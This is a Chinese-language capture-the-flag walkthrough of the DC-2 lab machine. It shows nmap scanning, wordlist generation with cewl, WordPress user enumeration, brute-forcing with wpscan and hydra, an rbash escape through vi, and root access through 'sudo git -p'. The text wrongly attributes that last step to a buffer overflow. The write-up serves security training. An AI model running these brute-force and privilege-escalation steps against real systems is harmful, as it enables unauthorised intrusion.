DC2
DC系列是专门构建的易受攻击的实验室,旨在获得渗透测试领域的经验,目前总共有9个靶机
关注微信公众号:小白学安全,公众号内回复DC,即可获取DC系列靶机镜像!
导入DC2靶机,网络适配器选择NAT模式,确保和kali处于同一IP段!!!
1、查看本机的IP地址
2、使用nmap扫描同网段IP地址
3、发现同网段中有个IP开启了80端口,对该IP地址,使用-A 全面扫描,-p 扫描全端口
一个是80端口,为http服务,一个是7744端口,为ssh服务,说明默认的ssh端口被修改
4、通过http协议访问该ip地址
5、通过观察扫描结果,会进行一个重定向到dc-2域名
6、故要使得跳转成功,需要修改本地的hosts文件,将该IP地址和域名进行绑定
vim /etc/hosts
7、访问成功
8、在该网页中存在一个flag
9、根据flag1的提示,要求我们以个人身份进行登录
10、cewl 是一个网页关键字抓取工具,可以根据网页中的关键字生成一个密码字典
cewl是一个 [ruby](https://www.codercto.com/topics/20648.html) 应用,爬行指定url的指定深度。也可以跟一个外部链接,结果会返回一个单词列表
语法:cewl url [options]
常用语法:
-h, –help:显示帮助。
-k, –keep:保存下载文件。
-d <x>, –depth <x>:爬行深度,默认2。
-m, –min_world_length:最小长度,默认最小长度为3。
-o, –offsite:允许爬虫访问其他站点。
-w, –write:将输出结果写入到文件。
-u, –ua <agent>:设置user agent。
-n, –no-words:不输出字典。
–with-numbers:允许单词中存在数字,跟字母一样。
-a, –meta:包括元数据。
–meta_file file:输出元数据文件。
-e, –email:包括email地址。
–email_file <file>:输入邮件地址文件。
–meta-temp-dir <dir>:exiftool解析文件时使用的临时目录,默认是/temp。
-c, –count:显示发现的每个单词的数量。
-v, –verbose:verbose。
–debug:提取调试信息。
11、使用cewl生成一个密码字典
12、继续对该网站进行信息收集
通过Wappalyzer浏览器插件发现该网站是由WordPressCMS搭建,故我们可以使用WPscan工具进行扫描
WPscan
一款漏洞扫描工具,它采用Ruby编写
能够扫描WordPress网站中的多种安全漏洞,其中包括主题漏洞、插件漏洞和WordPress本身的漏洞。
它不仅能够扫描类似robots.txt这样的敏感文件,而且还能够检测当前已启用的插件和其他功能。
语法:wpscan [options]
13、使用wpscan进行扫描
使用之前先更新wpscan的漏洞库
14、使用命令枚举wordpress里面的账户
wpscan --url http://dc-2 -e u
识别出了三个用户
15、由于该网站是由CMS搭建的,所以我们可以轻易找到对应的登录页面
16、使用wpscan进行暴力破解,用户名是识别出来的三个用户名,将这个三个用户名输入到一个user.txt文档中保存,密码是由cewl生成的pass.txt
17、爆破结果
18、使用jerry账号进行登录网站后台,在pages功能点找到flag2
根据flag2的规则,你不能再攻击这个网站了,寻找其他方法
19、根据nmap扫描出来的结果,除了开启了http服务,还有一个ssh服务
利用hydra工具使用当前的字典,对ssh服务进行暴力破解
hydra -L user.txt -P pass.txt ssh://192.168.84.143 -s 7744 -vV
20、使用账号密码进行登录:tom parturient
ssh tom@192.168.84.143
登录成功,发现在当前路径下存在flag3.txt,却无法打开
rbash与一般shell的区别在于会限制一些行为,让一些命令无法执行
21、查看我们可以使用的命令
bin目录存放二进制可执行文bai件(ls,cat,mkdir等),常用命令一般都在这里
22、利用vi进行rbash逃逸
vi
:set shell=/bin/sh //给shell赋值
:shell //执行shell
设置之后,再次查看flag3的时候,找不到cat命令,设置PATH参数
export PATH=PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/bin:sbin
23、根据flag3的规则,使用su切换到jerry用户
jerry adipiscing
24、根据flag4的提示,可用git,访问到我们的家目录
使用git提权
Git是一个开源的分布式版本控制系统,可以有效、高速地处理从很小到非常大的项目版本管理
使用sudo -l 查看相关授权的信息
jerry用户可以使用root的身份不需要密码执行git
25、Git提权
原理是git存在缓冲区溢出漏洞,在使用sudo git -p时,不需要输入root密码即可以root权限执行这条命令
sudo git -p
-p参数分页查看,当我们的终端足够小时,就会出现:
执行: !/bin/sh
//shell转义,放置此类提权,就要避免sudo授权用户使用vi,vim,ftp.lee,more,git….
拿到最终的flag
本文系作者 @小白学安全 原创发布在 xbxaq.com 站点,未经许可,禁止转载!
评论